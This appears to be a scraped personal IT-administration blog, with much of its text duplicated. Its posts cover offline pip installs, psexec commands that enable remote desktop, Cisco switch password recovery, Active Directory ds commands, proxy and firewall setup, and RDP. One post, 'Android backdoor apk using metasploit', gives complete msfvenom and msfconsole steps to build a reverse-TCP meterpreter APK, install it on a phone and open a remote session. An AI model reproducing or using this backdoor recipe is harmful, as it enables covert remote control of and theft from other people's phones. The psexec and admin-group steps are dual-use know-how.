If there is a machine with no internet access this can be tried..
First, get a machine with internet access and python (with pip) installed
Fire the cmd or terminal and type
pip download paramiko --dest c:\paramiko
Here paramiko is the module
Go to the downloaded directory and you will see whl files if it is windows pc.
Now they can be installed but there is a order to install those files. To check the order you can use pip install paramiko in the pc with internet access.
At the end you will see statement Installing collected packages : package2, package1, package3
like that. This is the order you should install packages.
Open notepad and write down each filename of the package to be installed in order in the statement and type the file name by looking at downloaded files.
package2-py-2-7.whl
package1-py2-7.whl
package3-py-2-7.whl
like that. Now save it as requirements.txt in the same directory where files downloaded.
Now copy this folder in to the machine that have no internet access.
Run command prompt in that directory and type as follows.
pip install -r requirements.txt
Package will be installed successfully.
Tuesday, May 19, 2020
Thursday, December 12, 2019
psexec commands to enable remote desktop
psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
psexec \\remotecomputername netsh firewall set service remoteadmin enable
psexec \\remotecomputername netsh firewall set service remotedesktop enable:
psexec \\remotecomputername netsh firewall set service remoteadmin enable
psexec \\remotecomputername netsh firewall set service remotedesktop enable:
Local administrator permission for domain user
How to give local computer administrator permission for users in domain.
I.E. ; Normally domain users cannot change control settings, modifications in c drive and windows, cannot install applications. But some organizations need this. For this do as follows.
Edit the Default group policy (or any group policy you are willing to link with the certain ou)
Go Computer Configuration > Policies > Windows Settings > Security Settings
There right click on Restricted Groups and click on Add Group
Click Browse, type Domain users (Or any other user group you are willing to add locally in their administrators' group) and click Check Names.
Click OK twise.
Click Add under “This group is a member of:”
Add the “Administrators” Group.
Add “Remote Desktop Users” (Adding remote desktop group is for give them the ability to do remote desktop. If you dont need this to your domain users forget this.)
Click OK twice
I.E. ; Normally domain users cannot change control settings, modifications in c drive and windows, cannot install applications. But some organizations need this. For this do as follows.
Edit the Default group policy (or any group policy you are willing to link with the certain ou)
Go Computer Configuration > Policies > Windows Settings > Security Settings
There right click on Restricted Groups and click on Add Group
Click Browse, type Domain users (Or any other user group you are willing to add locally in their administrators' group) and click Check Names.
Click OK twise.
Click Add under “This group is a member of:”
Add the “Administrators” Group.
Add “Remote Desktop Users” (Adding remote desktop group is for give them the ability to do remote desktop. If you dont need this to your domain users forget this.)
Click OK twice
Convert crt certificate to pfx format.
openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.crt -certfile more.crt
* openssl – the command for executing OpenSSL
* pkcs12 – the file utility for PKCS#12 files in OpenSSL
* -export -out certificate.pfx – export and save the PFX file as certificate.pfx
* -inkey privateKey.key – use the private key file privateKey.key as the private key to combine with the certificate.
* -in certificate.crt – use certificate.crt as the certificate the private key will be combined with.
* -certfile more.crt – This is optional, this is if you have any additional certificates you would like to include in the PFX file.
* openssl – the command for executing OpenSSL
* pkcs12 – the file utility for PKCS#12 files in OpenSSL
* -export -out certificate.pfx – export and save the PFX file as certificate.pfx
* -inkey privateKey.key – use the private key file privateKey.key as the private key to combine with the certificate.
* -in certificate.crt – use certificate.crt as the certificate the private key will be combined with.
* -certfile more.crt – This is optional, this is if you have any additional certificates you would like to include in the PFX file.
Android backdoor apk using metasploit
In terminal,
msfvenom -p android/meterpreter/reverse_tcp LHOST=pc_ip_address LPORT=4444 R > /root/hack.apk
copy the apk file in the phone. and install app by openning apk
run
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost host_ip_address(ex: 192.168.43.18)
set lport 4444
type,
exploit
In phone run the installed app on phone.
meterpreter session will open. run commands. type help for get commands.
msfvenom -p android/meterpreter/reverse_tcp LHOST=pc_ip_address LPORT=4444 R > /root/hack.apk
copy the apk file in the phone. and install app by openning apk
run
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost host_ip_address(ex: 192.168.43.18)
set lport 4444
type,
exploit
In phone run the installed app on phone.
meterpreter session will open. run commands. type help for get commands.
IPv4 automatic configuring issue in windows
Step 1: Run > cmd > ipconfig /all
Expand
Looks to see which IP is the preferred and if autoconfiguration is on.
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 82567LM-3 Gigabit Network Connection
Physical Address. . . . . . . . . : 00-23-24-08-30-57
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::8508:6cb9:5112:f8c9 (Preferred)
Autoconfiguration IPv4 Address. . : 169.254.248.201(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.0.0
IPv4 Address. . . . . . . . . . . : 192.168.1.136(Duplicate)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
DNS Servers . . . . . . . . . . . : 192.168.1.1
NetBIOS over Tcpip. . . . . . . . : Enabled
Expand
Looks to see which IP is the preferred and if autoconfiguration is on.
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 82567LM-3 Gigabit Network Connection
Physical Address. . . . . . . . . : 00-23-24-08-30-57
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::8508:6cb9:5112:f8c9 (Preferred)
Autoconfiguration IPv4 Address. . : 169.254.248.201(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.0.0
IPv4 Address. . . . . . . . . . . : 192.168.1.136(Duplicate)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
DNS Servers . . . . . . . . . . . : 192.168.1.1
NetBIOS over Tcpip. . . . . . . . : Enabled
Cisco switch commands
poe on
power inline auto
power inline static
poe off
power inline never
show mac addresses connected interface
show mac address-table int giga...
Reset cisco switch login
Step 1:
Power off the switch first, then press and hold the mode button while you power on the switch again. Hold it for about 15 seconds until the SYS led is solid green, and then release it.
The switch should then give you this prompt:
switch:
Step 2:
To initialize the flash file system, run the command:
switch: flash_init
Initializing Flash...
flashfs[0]: 5 files, 1 directories
flashfs[0]: 0 orphaned files, 0 orphaned directories
flashfs[0]: Total bytes: 32514048
flashfs[0]: Bytes used: 8059904
flashfs[0]: Bytes available: 24454144
flashfs[0]: flashfs fsck took 10 seconds.
...done Initializing Flash.
The switch will now print a bunch of messages about the flash memory, hopefully one of them will be ‘done initializing flash’ as above shown
Step 3:
You can now list the contents of your flash by running
switch: dir flash:
Directory of flash: /
2 -rwx 12300 config.text
4 -rwx 1906 private-config.text
5 -rwx 676 vlan.dat
6 -rwx 8040418 c2960-lanbasek9-mz.122-50.SE3.bin
7 -rwx 2072 multiple-fs
There should be a file named ‘config.text’, as you can rename this file as follows:
switch: rename flash:config.text flash: oldconfig.backup
Step 4:
To further boot the switch run the boot command as:
switch: boot
This will start the boot you are used to. When the switch is booted up, you will realize that the configuration is gone. But you are enabled on the switch now.
Step 5:
Now change the passwords,
Switch#config
Switch(config)#line console 0
Switch(config)#password yourpassword
Switch(config)#line vty 0 4
Switch(config)#password yourpassword
Switch(config)#enable password yourpassword
Switch(config)#end
Switch#copy running-configuration startup-configuration
power inline auto
power inline static
poe off
power inline never
show mac addresses connected interface
show mac address-table int giga...
Reset cisco switch login
Step 1:
Power off the switch first, then press and hold the mode button while you power on the switch again. Hold it for about 15 seconds until the SYS led is solid green, and then release it.
The switch should then give you this prompt:
switch:
Step 2:
To initialize the flash file system, run the command:
switch: flash_init
Initializing Flash...
flashfs[0]: 5 files, 1 directories
flashfs[0]: 0 orphaned files, 0 orphaned directories
flashfs[0]: Total bytes: 32514048
flashfs[0]: Bytes used: 8059904
flashfs[0]: Bytes available: 24454144
flashfs[0]: flashfs fsck took 10 seconds.
...done Initializing Flash.
The switch will now print a bunch of messages about the flash memory, hopefully one of them will be ‘done initializing flash’ as above shown
Step 3:
You can now list the contents of your flash by running
switch: dir flash:
Directory of flash: /
2 -rwx 12300 config.text
4 -rwx 1906 private-config.text
5 -rwx 676 vlan.dat
6 -rwx 8040418 c2960-lanbasek9-mz.122-50.SE3.bin
7 -rwx 2072 multiple-fs
There should be a file named ‘config.text’, as you can rename this file as follows:
switch: rename flash:config.text flash: oldconfig.backup
Step 4:
To further boot the switch run the boot command as:
switch: boot
This will start the boot you are used to. When the switch is booted up, you will realize that the configuration is gone. But you are enabled on the switch now.
Step 5:
Now change the passwords,
Switch#config
Switch(config)#line console 0
Switch(config)#password yourpassword
Switch(config)#line vty 0 4
Switch(config)#password yourpassword
Switch(config)#enable password yourpassword
Switch(config)#end
Switch#copy running-configuration startup-configuration
Monday, August 13, 2018
Build trust relationship between two forests
Creating trust relationship between two different forests is required in numerous scenarios. There are few steps for this.
First it should be confirmed the connectivity between two domain controllers. Then name resolution must be inplace to resolve domain names. There are number of ways for this.
- Conditional Forwarder
- Secondary Zone
- Stub Zone
The best solution is Stub Zone which is more secure (For more info : https://social.technet.microsoft.com/Forums/windowsserver/en-US/bf6b6f2b-a2da-4e85-970f-778180393fc4/dns-stub-zone?forum=winserverNIS). Follow the steps to configure stub zones in adatum.com and milestone.com domains.
DC in adatum.com
Open DNS manager
Expand the server and Forward Lookup Zones folder
Right click on Forward Lookup Zones folder
Click New Zone and click Next
Click on Stub Zone radio button and click Next
Select To all DNS servers running on domain controllers in this forest: domain.com
And click Next.
Thursday, June 1, 2017
How apt get get in to work behind a proxy server
apt-get is the command in debian based linux systems for package installation, update, upgrade and number of software package related function. But if you are behind a proxy server it will be tough issue to get update your linux system (or install relavant packages). For this you have to edit a config file in /etc/apt/apt.conf
sudo nano /etc/apt/apt.conf
and add these to this file.
Acquire::socks::proxy "socks://<username>:<password>@<proxy>:<port>/";
Acquire::http::proxy "http://<username>:<password>@<proxy>:<port>/";
Acquire::ftp::proxy "ftp://<username>:<password>@<proxy>:<port>/";
Acquire::https::proxy "https://<username>:<password>@<proxy>:<port>/";
Save the file and run apt-get again
sudo nano /etc/apt/apt.conf
and add these to this file.
Acquire::socks::proxy "socks://<username>:<password>@<proxy>:<port>/";
Acquire::http::proxy "http://<username>:<password>@<proxy>:<port>/";
Acquire::ftp::proxy "ftp://<username>:<password>@<proxy>:<port>/";
Acquire::https::proxy "https://<username>:<password>@<proxy>:<port>/";
Save the file and run apt-get again
Thursday, August 25, 2016
Install and configure sftp server on Ubuntu Server
Install VSFTPD
sudo apt-get install vsftpd
Configuring VSFTPD.
open /etc/vftpd.conf file
Uncomment the following lines ;
write_enable=YES
local_umask=022
chroot_local_user=YES
Add the following line at the end of the file.
allow_writeable_chroot=YES
sudo apt-get install vsftpd
Configuring VSFTPD.
open /etc/vftpd.conf file
Uncomment the following lines ;
write_enable=YES
local_umask=022
chroot_local_user=YES
Add the following line at the end of the file.
allow_writeable_chroot=YES
Friday, August 12, 2016
Install OS through network using microsoft WDS server
PXE boot is the new trend, actually not new it has a very old history. Any way PXE (Pre-Execution Environment) is the way to boot PCs over network. Using this we can install OSs via network which make easier to network administrators, specially IT lab setup guys. Because when we going to install OS/OSs in several hundreds of PCs that's going to be a hard situation if we are using DVDs or USB booting. When we use PXE boot to install OSs we just have to go to the PC and boot it from PXE network boot and the rest of the thing going to be the same as a normal OS installation.
Windows Server had make it easier. Using WDS (Windows Deployment Service) we can select our installation image using installation media and just using few clicks we can install OS in to a PC using PXE. There is a more featured application for windows Server which is System Center gives you some elevation doing system administration, but here we are going to talk about a tool which bundled with System Center.
So here is the steps.
Windows Server had make it easier. Using WDS (Windows Deployment Service) we can select our installation image using installation media and just using few clicks we can install OS in to a PC using PXE. There is a more featured application for windows Server which is System Center gives you some elevation doing system administration, but here we are going to talk about a tool which bundled with System Center.
So here is the steps.
Thursday, July 7, 2016
Active Directory ds Commands for user add,delete and for hack.
Here I'm not going to talk about how to install Domain Service in your server or How to interact with Active Directory Users and Computers application. I'm going to make some simple note how to add users in a domain and how to add that users in to different groups.
add a user in Domain Controller.
command:
dsadd user "cn=firday, cn=users, dc=week, dc=local" -pwd Friday@123 -disabled no
This will add the user "friday" in "users" container on "week" domain. The password is going to be "Friday@123". "-disabled no" option will enable the user account.
Change password of the user.
dsmod user "cn=firday, cn=users, dc=week, dc=local" -pwd abc@123
In this case we are changing the previous user's password to "abc@123"
Add a user to an Admin group.
There may be several admin groups in your domain like itadmin, domain admin, built-in administrators ...
add a user in Domain Controller.
command:
dsadd user "cn=firday, cn=users, dc=week, dc=local" -pwd Friday@123 -disabled no
This will add the user "friday" in "users" container on "week" domain. The password is going to be "Friday@123". "-disabled no" option will enable the user account.
Change password of the user.
dsmod user "cn=firday, cn=users, dc=week, dc=local" -pwd abc@123
In this case we are changing the previous user's password to "abc@123"
Add a user to an Admin group.
There may be several admin groups in your domain like itadmin, domain admin, built-in administrators ...
Wednesday, March 9, 2016
Activate Network Applet in Ubuntu Mate
Ubuntu mate is very eye catching and customizable linux flavour which I've used.
But in ubuntu mate most of times the nm-applet which is showing our network connections and settings (by the way most important applet) is not showing at startup. So we are unable to connect between different network connections same time (LAN , Wi-Fi , Mobile broadband connections.)
To make appear the nm-applet (Network Manager) on the notification area follow the steps.
But in ubuntu mate most of times the nm-applet which is showing our network connections and settings (by the way most important applet) is not showing at startup. So we are unable to connect between different network connections same time (LAN , Wi-Fi , Mobile broadband connections.)
To make appear the nm-applet (Network Manager) on the notification area follow the steps.
Friday, March 4, 2016
How to create multi-boot pen drive (Windows, Linux, utilities)
IT Support, Help Desk guise, IT Administrators will like this post very much. Because they are the people mostly facing to re-install the OSes for their users. For some IT Administrators and Help desk guise format and installing the new OS is the only option they have for every issue. So here i'm going to giving you a superb tool to make multi-boot pen drive.
What is a multi-boot pen drive. It contains number of OSes which can be boot and you can install through a menu. That's mean you don't need to maintain number of CDs or pen drives to installing OS. Using single thumb drive now you can do you job very flexibly.
Easy2Boot
Thursday, February 25, 2016
Using cheat for getting help with unix commands.
There are lots of tools and commands in unix systems for various purposes. Some tools we need in our day to day activities but some tools are using very rarely. For both of these instances most of time we are facing forgetting the commands that relevant to a tool or a command. Even a tool that we are using daily sometimes we are getting trouble when we execute some commands we have not been used previously. And also sometimes even if we know the command we may forgot what actual does that command. So to identify those things there is a great tool called Cheat.
Using cheat in terminal you can get the usage of most of the unix tools and commands. And it's not like man. It gives us "what you want to do? and here is the command for it".
How to install cheat?
If you have installed python simply run the following command
Tuesday, February 23, 2016
Config CentOS as Gateway / Firewall mode
We can use Cent OS as a gateway in a network to implement other function as a firewall also. So here are steps.
Firstly if you have not installed iptables install it as follows.
Debian
apt-get install iptables-services
Redhat
yum install iptables-services
It is important to install iptables-services packages.
1) Load the modules.
This is not need to done in newer linux versions.
modprobe ip_conntrack
modprobe ip_conntrack_ftp
modprobe ip_conntrack_irc
modprobe ip_nat_ftp
2) Disable ECN if enabled.
Firstly if you have not installed iptables install it as follows.
Debian
apt-get install iptables-services
Redhat
yum install iptables-services
It is important to install iptables-services packages.
1) Load the modules.
This is not need to done in newer linux versions.
modprobe ip_conntrack
modprobe ip_conntrack_ftp
modprobe ip_conntrack_irc
modprobe ip_nat_ftp
2) Disable ECN if enabled.
Linux shell with effective way (ways to use it)
Here we are going to focus on linux / unix shell with specific symbols which we can use the shell in effective manner.
The symbols are,
|, \ , &, &&, [], [[]], (), {}
These symbols are very usefull in bash.
Using pipe symbol in shell
| the pipe sign can use to pipe the output of a command. simply it's forwarding what have in stdout in to stdin.
ex:
here we get the output of the ls /etc and put it into the grep gtk command as an input to that command.
Logical Operators.
The symbols are,
|, \ , &, &&, [], [[]], (), {}
These symbols are very usefull in bash.
Using pipe symbol in shell
| the pipe sign can use to pipe the output of a command. simply it's forwarding what have in stdout in to stdin.
ex:
ls /etc | grep gtk
here we get the output of the ls /etc and put it into the grep gtk command as an input to that command.
Logical Operators.
Friday, January 22, 2016
How to install Ubuntu Core and work with it
Ubuntu is the most popular Linux distro which handled by canonicals. It offers several installations which is customized such as gnome-ubuntu, ubuntu-core. Ubuntu core is a light version of ubuntu which is not a installation iso but its a file system to work with linux in minimal resources.
After you setup the Ubuntu core you get only the file system with Ubuntu repos, shell, grub and other initial items for linux. It is very good to try this out because this gives you a good knowledge of the linux file system how format the disk, how to install grub, how make the disk bootable, how will kernel interact with grub and so on.
Firstly you have to download the Ubuntu-core rootfs (root file system). You can download the ubuntu 14.04.3-core root file system in this link http://cdimage.ubuntu.com/ubuntu-core/releases/14.04/release/
After you setup the Ubuntu core you get only the file system with Ubuntu repos, shell, grub and other initial items for linux. It is very good to try this out because this gives you a good knowledge of the linux file system how format the disk, how to install grub, how make the disk bootable, how will kernel interact with grub and so on.
Firstly you have to download the Ubuntu-core rootfs (root file system). You can download the ubuntu 14.04.3-core root file system in this link http://cdimage.ubuntu.com/ubuntu-core/releases/14.04/release/
Thursday, November 12, 2015
How to use C code in Python
Python and C combination is brilliant for programmers specially who writing network tools and exploits. For this purpose there are many ways to use both of them in one code and make the use of both languages. Previous days I was looking for a easy way(not easy actually fast way to approach my object which is make use of c code inside a python code) to do this. I was noticed there are many ways to do this. Some of them are,
- According to Extending Python with C doc (https://docs.python.org/2/extending/extending.html).
- Some languages has built in combine with features of these two languages such as Pyrex, Cython.
- Using ctype module.
- Using a SWIG (Simple Wrapper Interface Generator)
Monday, June 15, 2015
How to make a remote desktop connection on Linux and Windows
Here we are going to talk about how to make remote desktop connections in Linux and Windows OSs. I think you know how to establish a RDP connection to windows machine from another windows machine. So firstly i will talk about how to establish a RDP connection to a Windows machine from Linux machine.
Note : This demonstration is for Ubuntu and Kali like linux machines
RDP from Windows to Linux
Get the terminal. And type apt-get install xrdp
It will install the XRDP on your linux system. Then type service start xrdp
This will start the XRDP service on your linux machine.
Now in the terminal type whoami. This will show you the host name of your linux. Remember it. And type ifconfig find your ip address and keep in mind.
Go to your Windows machine and get run and type mstsc. Type your linux machine's IP and click on connect. Then a windows will come with black background popup for input username and password. Make sure in front of the Module has selected the Sesman-Xvnc. On the Username field type the Hostname of your linux. On the password type it's password (login password for your linux). Click on OK. Then RDP connection to the linux machine will come.
RDP from Linux to Windows
Note : This demonstration is for Ubuntu and Kali like linux machines
RDP from Windows to Linux
Get the terminal. And type apt-get install xrdp
It will install the XRDP on your linux system. Then type service start xrdp
This will start the XRDP service on your linux machine.
Now in the terminal type whoami. This will show you the host name of your linux. Remember it. And type ifconfig find your ip address and keep in mind.
Go to your Windows machine and get run and type mstsc. Type your linux machine's IP and click on connect. Then a windows will come with black background popup for input username and password. Make sure in front of the Module has selected the Sesman-Xvnc. On the Username field type the Hostname of your linux. On the password type it's password (login password for your linux). Click on OK. Then RDP connection to the linux machine will come.
RDP from Linux to Windows
Subscribe to:
Posts (Atom)